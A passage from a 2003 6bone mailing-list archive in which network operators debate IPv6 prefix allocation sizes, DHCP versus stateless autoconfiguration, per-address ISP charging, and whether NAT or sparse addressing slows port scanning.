> > do it, but by the ammount of users. There are infact ISP's who do this
> > today.
> >
> > > "single-user products" as you call it are the biggest reasons why
> > > we have those awfull NAT's today. And how many users are behind
> > > that NAT even though you just gave them 1 IPv4 address? LOTS.
> >
> > There's a difference between denying a person extra ip addresses and
> > giving out a billion without asking if the person needs it.
> >
> > Many ISP's charge for extra ip addresses, and they dont do it just
because
> > they have to type in 3 commands on their router. NAT gives a certain
ammount
> > of security for end-users.
> >
> > Joergen Hovland ENK
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
> **********************************
> Madrid 2003 Global IPv6 Summit
> Presentations and videos on line at:
> http://www.ipv6-es.com
>
> This electronic message contains information which may be privileged or
confidential. The information is intended to be for the use of the
individual(s) named above. If you are not the intended recipient be aware
that any disclosure, copying, distribution or use of the contents of this
information, including attached files, is prohibited.
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From jeroen@unfix.org Sat Oct 25 08:02:18 2003
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To: "'Dan Reeder'" <dan@reeder.name>,
   "'JORDI PALET MARTINEZ'" <jordi.palet@consulintel.es>, <6bone@ISI.EDU>
Subject: RE: [6bone] Is minimum allocation /64 now?
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-----BEGIN PGP SIGNED MESSAGE-----

Dan Reeder wrote:

> I'm not sure where things went awry but i've got this feeling 
> that I've been included in this "charge per ip" lameness.
> 
> The problem is that, perhaps because some of us have had to 
> live under the strong arm of apnic, that the tendency to want to conserve 
> addressing is a bit of a habit.

APNIC is conservative because the APNIC members mandated that policy.

For IPv6 they are *NOT* conservative though, check the number
of TLA's that for instance NTT have received, yes a lot :)

> Personally whenever I see things like /48s being given to
> users left right and center I get reminded of the consequences of Stanford
> being given a v4 /8 way back in the early days.

Read the HD Ratio RFC and understand that statistically
we are doing the good thing. If it isn't the good thing
then we only wasted 3% (!!!!!) of the IPv6 space.
Where is this problem now?

<SNIP>

> yes most of us will agree that a /48 being given to a 17 year 
> old for use on his 3-pc lan, but then why is a /64 acceptable?

A /64 is for a link, if a site has a possiblity of more than
1 link give them a /48. How difficult is that?

Greets,
 Jeroen

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Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From jorgen@hovland.cx Sat Oct 25 08:56:32 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Sat, 25 Oct 2003 16:56:09 +0100
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> Haesu wrote:
>
> > I wanna see a single home user who will actually *use* even
> > 50% of 18446744073709551616 addresses.
>
> I do, as I got two subnets here:
> 2 * (2^64) = 36893488147419103232 IP's in use.

I'm sure he meant ip addresses in use, not putting a /64 net on your
interface.

> And I can plugin *any* apparatus in both my wired and
> my wireless network and tadaaaaaa it WORKS, global connectivity!!!!!! :)
>
%> Tim Chown wrote:
%>It is the smallest mainly because of stateless autoconif requiring /64
(see
%>RFC2462).   Stateless autoconf requires this.

Not trying to start a huge discussion, but:
DHCP does the same thing with a smaller prefix, and also gives you the
correct dns-settings and/or bootp-options ++. Since you obviously think you
can get 2^64 devices on a single lan, dhcp can reject new devices an ip
address if there are none availible.

> > Start assigning IP's to every object in your house... i.e.
> > fridge, watch, clock, cell phone, 3g, TV, playstation,
> > computers, lights, microwave, coffeemaker, toilet, etc etc,
> > etc et al. and I doubt even with all that, it comes close to
> > half of 18446744073709551616.
>
> You are assuming IPv4 style addressing, don't think like that.
> There are 65535 subnets per endsite.
>
>
> You have to realize that in the future it might be that a
> house gets totally routed, eg subnets for:
>  - the kitchen
>  - the living room
>  - the first floor
>  - the second floor
>  - the toilet
>  - the molly's room
>  - the johnny's room
>  - ...

I know by now how much you love saving bandwidth, Jeroen. I have been
thinking a bit about that:
IPv6 is 128 bits and IPv4 32.
If we used an "ipv4-stylish" allocation plan for ipv6, and dropped the extra
bits we saved by not wasting excessive space, how much money would your
company save ?

Lets say we save 64 bits:
Thats 8 bytes per packet.
256000 pps gives 2048kb per second ~ 20mbit = 800-5000++€ month

>
> Don't think in IPv4 style, preservative, allocation, please...

If we did, you could get 20mbit free.
But we aren't, so just ignore this.


Joergen Hovland ENK


From jorgen@hovland.cx Sat Oct 25 08:58:49 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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>From: "JORDI PALET MARTINEZ"
> Clearly those ISPs that charge for every address, will need to switch the
business model, if they want >to win new customers, or even
> keep the existing users !
>
> Charging for every IPv6 address, must be forbidden, hopefully soon by the
RIRs policy.
>

Well they could charge for every /64 instead :-)

Joergen Hovland ENK


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To: Dan Reeder <dan@reeder.name>
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On Sun, 26 Oct 2003, Dan Reeder wrote:

> The problem is that, perhaps because some of us have had to live under the
> strong arm of apnic, that the tendency to want to conserve addressing is a
> bit of a habit. Personally whenever I see things like /48s being given to
> users left right and center I get reminded of the consequences of Stanford
> being given a v4 /8 way back in the early days. It just reeks of
> wastefulness. Just because we can, and just because some (antiquated?)
> documents say so, does that mean we should?

The problem was, that there turned out not to be enough addresses
for the Internet as it came to be, period. CIDR, and use of formerly
reserved address spaces, are consequences of that simple fact. Making
the orignal allocations denser would not have prevented the problem.

> To me, the whole problem is a bit of a "chicken and egg" cycle. The rfcs and
> powers that be say /64 is the minimum primarily because other rfcs have
> dictated addressing schemes, and that the autoconfiguration software doesn't
> support network prefixes in greater length than /64. But then the
> autoconfiguration software developers say they only support  up to /64
> beacuse of rfcs!
> Why can't someone bite the bullet and just develop a daemon like radvd that
> will simply use pretty much any prefix length thrown at it? I've got a /64
> on my lan here. If the advertisement software supported it operationally
> speaking it would make absolutely ZERO difference if I changed it to /80...
> or /112 or even a /120. And I bet it would make almost zero difference to
> the majority of the readers on this list (i'm not really talking about ISP
> network operations/addressing here though)

Uh, no. You don't get it. The lower 64-bits are for your globally
unique host address. Allowing as many bits for the host addresses as
for the network addresses obviously means that IPv4 CIDR will never be
repeated for IPv6, and that therefore router manufacturers are free to
bake that assumption into the hardware.

I think what the Powers That Be need to do, to stop this topic from
coming up endlessly, is to change the marketing language from "IPv6
gives you <inconceivable number that there is no word for> network
addresses," to, "IPv6 gives you 2^64 == 16 quintillion networks
(American usage), and an unlimited number of hosts on each network".

It would be smart policy to give each physical location a 48. Most of
the 65,536 networks will be "wasted", if you will, but consider where
the room for expansion is likely to be needed. Will some users want
more than 16 or 256 networks? (Yes.) Or will there be more than 64
trillion locations? (Not likely.) Points of presence that need *more*
that 65,536 networks can simply use the same equipment and methodology
that an ISP uses, so no problem there either.

Frederick

From jeroen@unfix.org Sat Oct 25 09:27:20 2003
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To: "=?windows-1258?Q?'J=F8rgen_Hovland'?=" <jorgen@hovland.cx>,
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Subject: RE: [6bone] Is minimum allocation /64 now?
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Jørgen Hovland [mailto:jorgen@hovland.cx] wrote:

> > Haesu wrote:
> >
> > > I wanna see a single home user who will actually *use* even
> > > 50% of 18446744073709551616 addresses.
> >
> > I do, as I got two subnets here:
> > 2 * (2^64) = 36893488147419103232 IP's in use.
> 
> I'm sure he meant ip addresses in use, not putting a /64 net on your
> interface.

As the RFC's uses a /64 per link that is the usage.
If there is one device or 10000. If there is 1 user using
1000 devices or 1000 users using 1 device each.

> > And I can plugin *any* apparatus in both my wired and
> > my wireless network and tadaaaaaa it WORKS, global 
> connectivity!!!!!! :)
> >
> %> Tim Chown wrote:
> %>It is the smallest mainly because of stateless autoconif requiring /64 (see
> %>RFC2462).   Stateless autoconf requires this.
> 
> Not trying to start a huge discussion, but:
> DHCP does the same thing with a smaller prefix, and also gives you the
> correct dns-settings and/or bootp-options ++.

Ofcourse you could do that, but when you allocate say 10 IP's
to your kitchen, and suddenly that new toaster also becomes IPv6
enabled, are you going to call your ISP because you need 1 extra IP?

Ofcourse it could all be more conservative, 255 IP's per link
_could_ be enough but what if you run out? Renumber???

And yes you want to control your toaster from that system next
to your bed to make sure your bread is done when you get downstairs.

Think into the future, not what happened in the 80's.

> Since you obviously think you can get 2^64 devices on a
> single lan, dhcp can reject new devices an ip
> address if there are none availible.

Apparently you assume that I think of that, but if you
read correctly what I noted below on giving every room
in a house a seperate subnet you should realize that
is absolutely not what I meant.

> > > Start assigning IP's to every object in your house... i.e.
> > > fridge, watch, clock, cell phone, 3g, TV, playstation,
> > > computers, lights, microwave, coffeemaker, toilet, etc etc,
> > > etc et al. and I doubt even with all that, it comes close to
> > > half of 18446744073709551616.
> >
> > You are assuming IPv4 style addressing, don't think like that.
> > There are 65535 subnets per endsite.
> >
> >
> > You have to realize that in the future it might be that a
> > house gets totally routed, eg subnets for:
> >  - the kitchen
> >  - the living room
> >  - the first floor
> >  - the second floor
> >  - the toilet
> >  - the molly's room
> >  - the johnny's room
> >  - ...
> 
> I know by now how much you love saving bandwidth, Jeroen.

Do I love to save bandwidth? Cool where did you get that assumption?
I said *PAY* for bandwidth, which is what every ISP is doing too.

Grossly use the IP's, there is enough in IPv6.
And grossly use the bandwidth, the user is paying.

> I have been
> thinking a bit about that:
> IPv6 is 128 bits and IPv4 32.
> If we used an "ipv4-stylish" allocation plan for ipv6, and 
> dropped the extra bits we saved by not wasting excessive space,
> how much money would your company save ?

Why would they want to save money?
They want connectivity, if they want to save money then they
should get into a deal for cheaper transit/upstreams.

> Lets say we save 64 bits:
> Thats 8 bytes per packet.
> 256000 pps gives 2048kb per second ~ 20mbit = 800-5000++€ month

Which is perfectly accountable and thus payable by the users.
Why do you care how much traffic they send and receive?
More traffic means more money for the ISP, being you.

In the Netherlands ISP's have a "download cap", most other
ISP's in the world have that too I heared. This "cap" is in
place as that is the border at which the ISP *earns* money.
If you do more traffic... those users *pay* more, perfect! :)

If they are able to hook up more equipment they will
start using it more and more and more... getting you
more and more money because they are using more bandwidth.

Again Economics 101.

> > Don't think in IPv4 style, preservative, allocation, please...
> 
> If we did, you could get 20mbit free.
> But we aren't, so just ignore this.

Ignore your idea of 'saving bandwidth' or your odd perception
of why IPv6 exists?

Before anyone thinks.. nothing personal...

Greets,
 Jeroen

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From jordi.palet@consulintel.es Sat Oct 25 09:32:19 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
Date: Sat, 25 Oct 2003 18:34:13 +0200
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No, even charging for every /64 must be forbidden.

The ISPs are "service providers", they should provide intelligent services ! The addressing space is a good of the human race, not
belonging to ISPs.

I agree that the ISPs manage that prefix for us, and thus they must receive a compensation just to cover the ADMINISTRATIVE cost of
that service, but they must get their profits because they provide intelligent services.

Otherwise, we can appoint non-profit organizations to manage the prefix allocation for all the users. Internet is now a public
service, and consequently must not mean extra cost for Internet itself.

Regards,
Jordi

----- Original Message ----- 
From: "Jørgen Hovland" <jorgen@hovland.cx>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>; <6bone@ISI.EDU>
Sent: Saturday, October 25, 2003 5:58 PM
Subject: Re: [6bone] Is minimum allocation /64 now?


> >From: "JORDI PALET MARTINEZ"
> > Clearly those ISPs that charge for every address, will need to switch the
> business model, if they want >to win new customers, or even
> > keep the existing users !
> >
> > Charging for every IPv6 address, must be forbidden, hopefully soon by the
> RIRs policy.
> >
>
> Well they could charge for every /64 instead :-)
>
> Joergen Hovland ENK
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

**********************************
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From jorgen@hovland.cx Sat Oct 25 09:52:40 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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> > Not trying to start a huge discussion, but:
> > DHCP does the same thing with a smaller prefix, and also gives you the
> > correct dns-settings and/or bootp-options ++.
>
> Ofcourse you could do that, but when you allocate say 10 IP's
> to your kitchen, and suddenly that new toaster also becomes IPv6
> enabled, are you going to call your ISP because you need 1 extra IP?
>

How about allocating a /112 as Dan Reeder suggested, and not 10 ip
addresses.
I am not suggesting a fixed size to put in a RFC and force everybody to use
it. People have different networks.

> Ofcourse it could all be more conservative, 255 IP's per link
> _could_ be enough but what if you run out? Renumber???
>

Or you add another range to your dhcpd config.


> Ignore your idea of 'saving bandwidth' or your odd perception
> of why IPv6 exists?

Im pretty sure we all know why IPv6 exists, but maybe not how we should use
it.

>
> Before anyone thinks.. nothing personal...

Ofcourse.

Joergen Hovland ENK


From tjc@ecs.soton.ac.uk Sat Oct 25 09:57:06 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, Oct 25, 2003 at 04:56:09PM +0100, Jørgen Hovland wrote:
> 
> Not trying to start a huge discussion, but:
> DHCP does the same thing with a smaller prefix, and also gives you the
> correct dns-settings and/or bootp-options ++. Since you obviously think you
> can get 2^64 devices on a single lan, dhcp can reject new devices an ip
> address if there are none availible.

I'm not sure I understand the point here?
(And at the moment, DHCPv6 is still needed for DNS resolver discovery even
for statelessly autoconfiguring hosts)

I agree you can do what you like inside your own network - but for interop
outside you should use the standards, love them or not :)
 
> IPv6 is 128 bits and IPv4 32.
> If we used an "ipv4-stylish" allocation plan for ipv6, and dropped the extra
> bits we saved by not wasting excessive space, how much money would your
> company save ?
> 
> Lets say we save 64 bits:
> Thats 8 bytes per packet.
> 256000 pps gives 2048kb per second ~ 20mbit = 800-5000++??? month

You would then be more open to port scanning attacks that otherwise are
far less feasible in IPv6?   It's nice to use a random 64-bit host address
for some addition warm fuzzy feeling ;)

Tim

From JHolmblad@aol.com Sat Oct 25 10:06:11 2003
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All,

I'd like to share the following thoughts with the group on this 
discussion on IP V6 address space.

1. Re NAT

Of course, relying on security through obscurity is bad as a stand alone 
practice, but, as a part of a defense in depth strategy that includes 
fire walling  it does help. Most SOHO router products include, pit of 
practical necessity, NAT but also a rudimentary firewall and no one can 
argue that having those devices in place has somehow increased the 
collective security of the Internet as we know it today. For an ISP to 
sell pure NAT as a rock solid security product however, would represent 
a negligent sales practice.

2. Re /48 vs /64 for the single network port or home

It occurs to me that the more address space that is allocated to a given 
access point to the Internet, the easier it is for a scanner to find it, 
for obvious reasons. In that sense, generosity of address space 
allocation runs against the grain of trying to make the Internet more 
secure.  In fact it  would seem desirable to take advantage of the huge 
128 bit address space enabled by IPv6 to raise the cost for attackers to 
find "points of interest" on the Internet.
-- 

Best Regards,

 

John Holmblad

 

Televerage International

 

(H) 703 620 0672

(M) 703 407 2278

(F) 703 620 5388

 

www page:                      www.vtext.com/users/jholmblad

primary email address: jholmblad@aol.com

backup email address:  jholmblad@verizon.net

 

text email address:         jholmblad@vtext.com


--------------060907030302080200070500
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<html>
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  <title></title>
</head>
<body text="#000000" bgcolor="#ffffff">
All, <br>
<br>
I'd like to share the following thoughts with the group on this
discussion on IP V6 address space.<br>
<br>
1. Re NAT<br>
<br>
Of course, relying on security through obscurity is bad as a stand
alone practice, but, as a part of a defense in depth strategy that
includes fire walling&nbsp; it does help. Most SOHO router products include,
pit of practical necessity, NAT but also a rudimentary firewall and no
one can argue that having those devices in place has somehow increased
the collective security of the Internet as we know it today. For an ISP
to sell pure NAT as a rock solid security product however, would
represent a negligent sales practice. <br>
<br>
2. Re /48 vs /64 for the single network port or home<br>
<br>
It occurs to me that the more address space that is allocated to a
given access point to the Internet, the easier it is for a scanner to
find it, for obvious reasons. In that sense, generosity of address
space allocation runs against the grain of trying to make the Internet
more secure.&nbsp; In fact it&nbsp; would seem desirable to take advantage of the
huge 128 bit address space enabled by IPv6 to raise the cost for
attackers to find "points of interest" on the Internet.<br>
<div class="moz-signature">-- <br>
<meta http-equiv="Content-Type" content="text/html; ">
<meta name="Generator" content="Microsoft Word 10 (filtered)">
<title>Best Regards,</title>

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<p class="MsoNormal"><b><span >Best
Regards,</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >John
Holmblad</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >Televerage
International</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >(H) </span></b><b><span >703 620 0672</span></b></p>
<p class="MsoNormal"><b><span >(M) </span></b><b><span >703 407 2278</span></b></p>
<p class="MsoNormal"><b><span >(F) </span></b><b><span >703 620 5388</span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span lang="NL" >www
page:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-abbreviated" href="http://www.vtext.com/users/jholmblad">www.vtext.com/users/jholmblad</a></span></b></p>
<p class="MsoNormal"><b><span >primary
email address: </span></b><b><span ><a class="moz-txt-link-abbreviated" href="mailto:jholmblad@aol.com">jholmblad@aol.com</a></span></b></p>
<p class="MsoNormal"><b><span >backup
email address:&nbsp; <a class="moz-txt-link-abbreviated" href="mailto:jholmblad@verizon.net">jholmblad@verizon.net</a></span></b></p>
<p class="MsoNormal"><b><span >&nbsp;</span></b></p>
<p class="MsoNormal"><b><span >text email
address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a class="moz-txt-link-abbreviated" href="mailto:jholmblad@vtext.com">jholmblad@vtext.com</a></span></b></p>
</div>
</div>
</body>
</html>

--------------060907030302080200070500--

From jorgen@hovland.cx Sat Oct 25 10:41:07 2003
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   "'Pekka Savola'" <pekkas@netcore.fi>, 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, 25 Oct 2003, John Holmblad wrote:

> 1. Re NAT
>
> Of course, relying on security through obscurity is bad as a stand alone
> practice, but, as a part of a defense in depth strategy that includes
> fire walling  it does help. Most SOHO router products include, pit of
> practical necessity, NAT but also a rudimentary firewall and no one can
> argue that having those devices in place has somehow increased the
> collective security of the Internet as we know it today. For an ISP to
> sell pure NAT as a rock solid security product however, would represent
> a negligent sales practice.
>
>
>
>
> 2. Re /48 vs /64 for the single network port or home
>
> It occurs to me that the more address space that is allocated to a given
> access point to the Internet, the easier it is for a scanner to find it,
> for obvious reasons. In that sense, generosity of address space
> allocation runs against the grain of trying to make the Internet more
> secure.  In fact it  would seem desirable to take advantage of the huge
> 128 bit address space enabled by IPv6 to raise the cost for attackers to
> find "points of interest" on the Internet.
> --
>

Hi

I don't see NAT purely as a "security through obscurity" product, but I do
agree.
However, your second comment seems to me as a solution purely based on a
security through obscurity model.  By hiding the "real" ip addresses in a
scope of billions you are trying to gain better security. Do you think
this is better than NAT ?

Joergen Hovland ENK

From fredb@immanent.net Sat Oct 25 11:25:58 2003
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Date: Sat, 25 Oct 2003 13:25:27 -0500 (CDT)
From: Frederick Bruckman <fredb@immanent.net>
To: John Holmblad <jholmblad@aol.com>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, 25 Oct 2003, John Holmblad wrote:

> 2. Re /48 vs /64 for the single network port or home
>
> It occurs to me that the more address space that is allocated to a given
> access point to the Internet, the easier it is for a scanner to find it,
> for obvious reasons. In that sense, generosity of address space
> allocation runs against the grain of trying to make the Internet more
> secure.  In fact it  would seem desirable to take advantage of the huge
> 128 bit address space enabled by IPv6 to raise the cost for attackers to
> find "points of interest" on the Internet.

Sorry, but it's not obvious to me at all. Given that I know an ISP's
/32, which is public knowledge, how do I find the unique host/network
addresses with valid hosts? Even assuming that a lot of folks will use
the ::1 host part for misguided security considerations, I've still
potentially got a lot of guessing to do to find the valid networks.
Now, supposing that the structure of the ISP's networks is either
apparent from a few stray hits, or published, it would still seem to
make the attacker's job harder if the networks are sparsely allocated.

Frederick

From tjc@ecs.soton.ac.uk Sat Oct 25 12:05:15 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Is minimum allocation /64 now?
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On Sat, Oct 25, 2003 at 07:40:27PM +0200, Jørgen Hovland wrote:
> > 2. Re /48 vs /64 for the single network port or home
> >
> > It occurs to me that the more address space that is allocated to a given
> > access point to the Internet, the easier it is for a scanner to find it,
> > for obvious reasons. In that sense, generosity of address space
> > allocation runs against the grain of trying to make the Internet more
> > secure.  In fact it  would seem desirable to take advantage of the huge
> > 128 bit address space enabled by IPv6 to raise the cost for attackers to
> > find "points of interest" on the Internet.

Actually the more address space allocated, the harder it is to be found in
that address range.

> I don't see NAT purely as a "security through obscurity" product, but I do
> agree.
> However, your second comment seems to me as a solution purely based on a
> security through obscurity model.  By hiding the "real" ip addresses in a
> scope of billions you are trying to gain better security. Do you think
> this is better than NAT ?

Not at all, but if it takes an attacker 500 billion years to scan a /64
at one IP per second, I' happier than it taking 4 minutes for an IPv4 /24.

Defense in depth.

If you choose to number your hosts <prefix>::1 and up, that's your choice
of course...

Tim

From jordi.palet@consulintel.es Sat Oct 25 16:18:44 2003
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Regarding 1, that's why most of the ISP networks with NAT devices can be =
attacked so easily, because the false security of the NAT boxes, and I =
can give you a lot of examples, even from big ISPs ...

2, on the contrary ... see =
http://www.ietf.org/internet-drafts/draft-chown-v6ops-port-scanning-impli=
cations-00.txt
  ----- Original Message -----=20
  From: John Holmblad=20
  To: Jeroen Massar=20
  Cc: 'Dan Reeder' ; 'J=F8rgen Hovland' ; 'Pekka Savola' ; 'Gert =
Doering' ; 6bone@ISI.EDU=20
  Sent: Saturday, October 25, 2003 7:05 PM
  Subject: Re: [6bone] Is minimum allocation /64 now?


  All,=20

  I'd like to share the following thoughts with the group on this =
discussion on IP V6 address space.

  1. Re NAT

  Of course, relying on security through obscurity is bad as a stand =
alone practice, but, as a part of a defense in depth strategy that =
includes fire walling  it does help. Most SOHO router products include, =
pit of practical necessity, NAT but also a rudimentary firewall and no =
one can argue that having those devices in place has somehow increased =
the collective security of the Internet as we know it today. For an ISP =
to sell pure NAT as a rock solid security product however, would =
represent a negligent sales practice.=20

  2. Re /48 vs /64 for the single network port or home

  It occurs to me that the more address space that is allocated to a =
given access point to the Internet, the easier it is for a scanner to =
find it, for obvious reasons. In that sense, generosity of address space =
allocation runs against the grain of trying to make the Internet more =
secure.  In fact it  would seem desirable to take advantage of the huge =
128 bit address space enabled by IPv6 to raise the cost for attackers to =
find "points of interest" on the Internet.

  --=20

  Best Regards,



  John Holmblad



  Televerage International



  (H) 703 620 0672

  (M) 703 407 2278

  (F) 703 620 5388



  www page:                      www.vtext.com/users/jholmblad

  primary email address: jholmblad@aol.com

  backup email address:  jholmblad@verizon.net



  text email address:         jholmblad@vtext.com


**********************************
Madrid 2003 Global IPv6 Summit
Presentations and videos on line at:
http://www.ipv6-es.com

This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited.

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<HTML><HEAD><TITLE></TITLE>
<META http-equiv=3DContent-Type =
content=3Dtext/html;charset=3DISO-8859-1>
<META content=3D"MSHTML 6.00.2800.1264" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY text=3D#000000 bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Regarding 1, that's why most of the ISP =
networks=20
with NAT devices can be attacked so easily, because the false security =
of the=20
NAT boxes, and I can give you a lot of examples, even from big ISPs=20
...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2, on the contrary ... see <A=20
href=3D"http://www.ietf.org/internet-drafts/draft-chown-v6ops-port-scanni=
ng-implications-00.txt"><FONT=20
face=3D"Times New Roman"=20
size=3D3>http://www.ietf.org/internet-drafts/draft-chown-v6ops-port-scann=
ing-implications-00.txt</FONT></A></FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Djholmblad@aol.com href=3D"mailto:jholmblad@aol.com">John =
Holmblad</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A title=3Djeroen@unfix.org =

  href=3D"mailto:jeroen@unfix.org">Jeroen Massar</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A title=3Ddan@reeder.name=20
  href=3D"mailto:dan@reeder.name">'Dan Reeder'</A> ; <A =
title=3Djorgen@hovland.cx=20
  href=3D"mailto:jorgen@hovland.cx">'J=F8rgen Hovland'</A> ; <A=20
  title=3Dpekkas@netcore.fi href=3D"mailto:pekkas@netcore.fi">'Pekka =
Savola'</A> ;=20
  <A title=3Dgert@space.net href=3D"mailto:gert@space.net">'Gert =
Doering'</A> ; <A=20
  title=3D6bone@ISI.EDU href=3D"mailto:6bone@ISI.EDU">6bone@ISI.EDU</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, October 25, =
2003 7:05=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [6bone] Is minimum =

  allocation /64 now?</DIV>
  <DIV><BR></DIV>All, <BR><BR>I'd like to share the following thoughts =
with the=20
  group on this discussion on IP V6 address space.<BR><BR>1. Re =
NAT<BR><BR>Of=20
  course, relying on security through obscurity is bad as a stand alone=20
  practice, but, as a part of a defense in depth strategy that includes =
fire=20
  walling&nbsp; it does help. Most SOHO router products include, pit of=20
  practical necessity, NAT but also a rudimentary firewall and no one =
can argue=20
  that having those devices in place has somehow increased the =
collective=20
  security of the Internet as we know it today. For an ISP to sell pure =
NAT as a=20
  rock solid security product however, would represent a negligent sales =

  practice. <BR><BR>2. Re /48 vs /64 for the single network port or=20
  home<BR><BR>It occurs to me that the more address space that is =
allocated to a=20
  given access point to the Internet, the easier it is for a scanner to =
find it,=20
  for obvious reasons. In that sense, generosity of address space =
allocation=20
  runs against the grain of trying to make the Internet more =
secure.&nbsp; In=20
  fact it&nbsp; would seem desirable to take advantage of the huge 128 =
bit=20
  address space enabled by IPv6 to raise the cost for attackers to find =
"points=20
  of interest" on the Internet.<BR>
  <DIV class=3Dmoz-signature>-- <BR>
  <META content=3D"Microsoft Word 10 (filtered)" =
name=3DGenerator><!--=7F /* Font Definitions */=7F @font-face=7F	=
{font-family:"MS Mincho";=7F	panose-1:2 2 6 9 4 2 5 8 3 =
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5 8 3 4;}=7F /* Style Definitions */=7F p.MsoNormal, li.MsoNormal, =
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1.25in;}=7Fdiv.Section1=7F	{page:Section1;}=7F--></STYLE>
  <DIV class=3DSection1>
  <P class=3DMsoNormal><B><SPAN>Best Regards,</SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN></SPAN></B>&nbsp;</P>
  <P class=3DMsoNormal><B><SPAN>John Holmblad</SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN></SPAN></B>&nbsp;</P>
  <P class=3DMsoNormal><B><SPAN>Televerage International</SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN></SPAN></B>&nbsp;</P>
  <P class=3DMsoNormal><B><SPAN>(H) </SPAN></B><B><SPAN>703 620=20
0672</SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN>(M) </SPAN></B><B><SPAN>703 407=20
2278</SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN>(F) </SPAN></B><B><SPAN>703 620=20
5388</SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN></SPAN></B>&nbsp;</P>
  <P class=3DMsoNormal><B><SPAN lang=3DNL>www=20
  =
page:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  <A class=3Dmoz-txt-link-abbreviated=20
  =
href=3D"http://www.vtext.com/users/jholmblad">www.vtext.com/users/jholmbl=
ad</A></SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN>primary email address: =
</SPAN></B><B><SPAN><A=20
  class=3Dmoz-txt-link-abbreviated=20
  href=3D"mailto:jholmblad@aol.com">jholmblad@aol.com</A></SPAN></B></P>
  <P class=3DMsoNormal><B><SPAN>backup email address:&nbsp; <A=20
  class=3Dmoz-txt-link-abbreviated=20
  =
href=3D"mailto:jholmblad@verizon.net">jholmblad@verizon.net</A></SPAN></B=
></P>
  <P class=3DMsoNormal><B><SPAN></SPAN></B>&nbsp;</P>
  <P class=3DMsoNormal><B><SPAN>text email=20
  address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A=20
  class=3Dmoz-txt-link-abbreviated=20
  =
href=3D"mailto:jholmblad@vtext.com">jholmblad@vtext.com</A></SPAN></B></P=
></DIV></DIV></BLOCKQUOTE></BODY></HTML>


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From JHolmblad@aol.com Sat Oct 25 18:35:56 2003
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Jordi,

thanks for the reference to the recent IETF  doc on the subject. The 
intro of that document kind of underpins what I asserted/implied , i.e. 
defense in depth is a good thing and that security through obscurity 
helps to raise the bar for the wily attacker but does not stand on its 
own two legs:

   "It must be remembered that the defense of a network must not rely on
   the obscurity of the hosts on that network.   Such a feature or
   property is only one measure in a set of measures that may be
   applied."


Regarding the second point, the idea I am trying to get across applies 
equally to either IPv4 or IPv6 and is really a generic argument against 
too much generosity in the allocation of address space. My working 
assumption, perhaps invalid, is that  the attacker is interested in   
knowing whether or not there is a network behind a particular network 
address and that scanning a  for /n+m's will take longer than scanning 
for /n's where n and m are positive integers thus increasing the attack 
"cost" in time and bandwidth consumption for the attacker. A key part of 
my assumption is that the edge router  servicing the /n or /n+m subnet 
will provide some kind of informational response to the attacker on the 
